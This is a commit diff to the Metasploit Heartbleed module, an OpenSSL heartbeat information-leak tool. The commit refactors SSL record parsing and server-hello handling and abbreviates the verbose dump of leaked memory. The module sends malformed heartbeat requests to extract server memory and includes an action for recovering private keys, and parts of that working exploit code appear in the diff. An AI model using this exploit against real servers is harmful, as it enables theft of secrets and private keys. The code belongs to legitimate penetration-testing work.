Land #6182, Heartbleed scanner improvements
commit
e8dacf32fd
|
@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
0x00ff # Unknown
|
0x00ff # Unknown
|
||||||
]
|
]
|
||||||
|
|
||||||
|
SSL_RECORD_HEADER_SIZE = 0x05
|
||||||
HANDSHAKE_RECORD_TYPE = 0x16
|
HANDSHAKE_RECORD_TYPE = 0x16
|
||||||
HEARTBEAT_RECORD_TYPE = 0x18
|
HEARTBEAT_RECORD_TYPE = 0x18
|
||||||
ALERT_RECORD_TYPE = 0x15
|
ALERT_RECORD_TYPE = 0x15
|
||||||
|
@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
|
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
|
||||||
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
|
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
|
||||||
|
|
||||||
|
|
||||||
TLS_VERSION = {
|
TLS_VERSION = {
|
||||||
'SSLv3' => 0x0300,
|
'SSLv3' => 0x0300,
|
||||||
'1.0' => 0x0301,
|
'1.0' => 0x0301,
|
||||||
|
@ -99,6 +99,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
|
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
|
||||||
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
|
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
|
||||||
|
|
||||||
|
# For verbose output, deduplicate repeated characters beyond this threshold
|
||||||
|
DEDUP_REPEATED_CHARS_THRESHOLD = 400
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
|
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
|
||||||
|
@ -203,18 +206,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# Main method
|
# Main method
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
# initial connect to get public key and stuff
|
|
||||||
connect_result = establish_connect
|
|
||||||
disconnect
|
|
||||||
return if connect_result.nil?
|
|
||||||
|
|
||||||
case action.name
|
case action.name
|
||||||
when 'SCAN'
|
when 'SCAN'
|
||||||
loot_and_report(bleed)
|
loot_and_report(bleed)
|
||||||
when 'DUMP'
|
when 'DUMP'
|
||||||
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
||||||
when 'KEYS'
|
when 'KEYS'
|
||||||
getkeys
|
get_keys
|
||||||
else
|
else
|
||||||
# Shouldn't get here, since Action is Enum
|
# Shouldn't get here, since Action is Enum
|
||||||
print_error("Unknown Action: #{action.name}")
|
print_error("Unknown Action: #{action.name}")
|
||||||
|
@ -424,20 +422,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
vprint_status("#{peer} - Sending Client Hello...")
|
vprint_status("#{peer} - Sending Client Hello...")
|
||||||
sock.put(client_hello)
|
sock.put(client_hello)
|
||||||
server_hello = get_data
|
|
||||||
unless server_hello
|
|
||||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
server_resp_parsed = parse_ssl_record(server_hello)
|
server_resp = get_server_hello
|
||||||
|
|
||||||
if server_resp_parsed.nil?
|
if server_resp.nil?
|
||||||
vprint_error("#{peer} - Server Hello Not Found")
|
vprint_error("#{peer} - Server Hello Not Found")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
server_resp_parsed
|
server_resp
|
||||||
end
|
end
|
||||||
|
|
||||||
# Generates a heartbeat request
|
# Generates a heartbeat request
|
||||||
|
@ -455,7 +448,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
vprint_status("#{peer} - Sending Heartbeat...")
|
vprint_status("#{peer} - Sending Heartbeat...")
|
||||||
sock.put(heartbeat_request(heartbeat_length))
|
sock.put(heartbeat_request(heartbeat_length))
|
||||||
hdr = get_data(5)
|
hdr = get_data(SSL_RECORD_HEADER_SIZE)
|
||||||
if hdr.nil? || hdr.empty?
|
if hdr.nil? || hdr.empty?
|
||||||
vprint_error("#{peer} - No Heartbeat response...")
|
vprint_error("#{peer} - No Heartbeat response...")
|
||||||
disconnect
|
disconnect
|
||||||
|
@ -533,16 +526,34 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("#{peer} - Heartbeat data stored in #{path}")
|
print_status("#{peer} - Heartbeat data stored in #{path}")
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
|
# Convert non-printable characters to periods
|
||||||
|
printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.')
|
||||||
|
|
||||||
|
# Keep this many duplicates as padding around the deduplication message
|
||||||
|
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round
|
||||||
|
|
||||||
|
# Remove duplicate characters
|
||||||
|
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s|
|
||||||
|
s[0, duplicate_pad] +
|
||||||
|
' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' +
|
||||||
|
s[-duplicate_pad, duplicate_pad]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Show abbreviated data
|
||||||
|
vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}")
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Keydumoing helper methods
|
# Keydumping helper methods
|
||||||
#
|
#
|
||||||
|
|
||||||
# Tries to retreive the private key
|
# Tries to retreive the private key
|
||||||
def getkeys
|
def get_keys
|
||||||
|
connect_result = establish_connect
|
||||||
|
disconnect
|
||||||
|
return if connect_result.nil?
|
||||||
|
|
||||||
print_status("#{peer} - Scanning for private keys")
|
print_status("#{peer} - Scanning for private keys")
|
||||||
count = 0
|
count = 0
|
||||||
|
|
||||||
|
@ -681,11 +692,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Parse SSL header
|
def get_ssl_record
|
||||||
def parse_ssl_record(data)
|
hdr = get_data(SSL_RECORD_HEADER_SIZE)
|
||||||
ssl_records = []
|
|
||||||
remaining_data = data
|
unless hdr
|
||||||
|
vprint_error("#{peer} - No SSL record header received after #{response_timeout} seconds...")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
len = hdr.unpack('Cnn')[2]
|
||||||
|
data = get_data(len)
|
||||||
|
|
||||||
|
unless data
|
||||||
|
vprint_error("#{peer} - No SSL record contents received after #{response_timeout} seconds...")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
hdr << data
|
||||||
|
end
|
||||||
|
|
||||||
|
# Get and parse server hello response until we hit Server Hello Done or timeout
|
||||||
|
def get_server_hello
|
||||||
|
server_done = nil
|
||||||
ssl_record_counter = 0
|
ssl_record_counter = 0
|
||||||
|
|
||||||
|
remaining_data = get_ssl_record
|
||||||
|
|
||||||
while remaining_data && remaining_data.length > 0
|
while remaining_data && remaining_data.length > 0
|
||||||
ssl_record_counter += 1
|
ssl_record_counter += 1
|
||||||
ssl_unpacked = remaining_data.unpack('CH4n')
|
ssl_unpacked = remaining_data.unpack('CH4n')
|
||||||
|
@ -702,17 +734,19 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
else
|
else
|
||||||
ssl_data = remaining_data[5, ssl_len]
|
ssl_data = remaining_data[5, ssl_len]
|
||||||
handshakes = parse_handshakes(ssl_data)
|
handshakes = parse_handshakes(ssl_data)
|
||||||
ssl_records << {
|
|
||||||
:type => ssl_type,
|
# Stop once we receive a SERVER_HELLO_DONE
|
||||||
:version => ssl_version,
|
if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
|
||||||
:length => ssl_len,
|
server_done = true
|
||||||
:data => handshakes
|
break
|
||||||
}
|
|
||||||
end
|
|
||||||
remaining_data = remaining_data[(ssl_len + 5)..-1]
|
|
||||||
end
|
end
|
||||||
|
|
||||||
ssl_records
|
end
|
||||||
|
|
||||||
|
remaining_data = get_ssl_record
|
||||||
|
end
|
||||||
|
|
||||||
|
server_done
|
||||||
end
|
end
|
||||||
|
|
||||||
# Parse Handshake data returned from servers
|
# Parse Handshake data returned from servers
|
||||||
|
|
Loading…
Reference in New Issue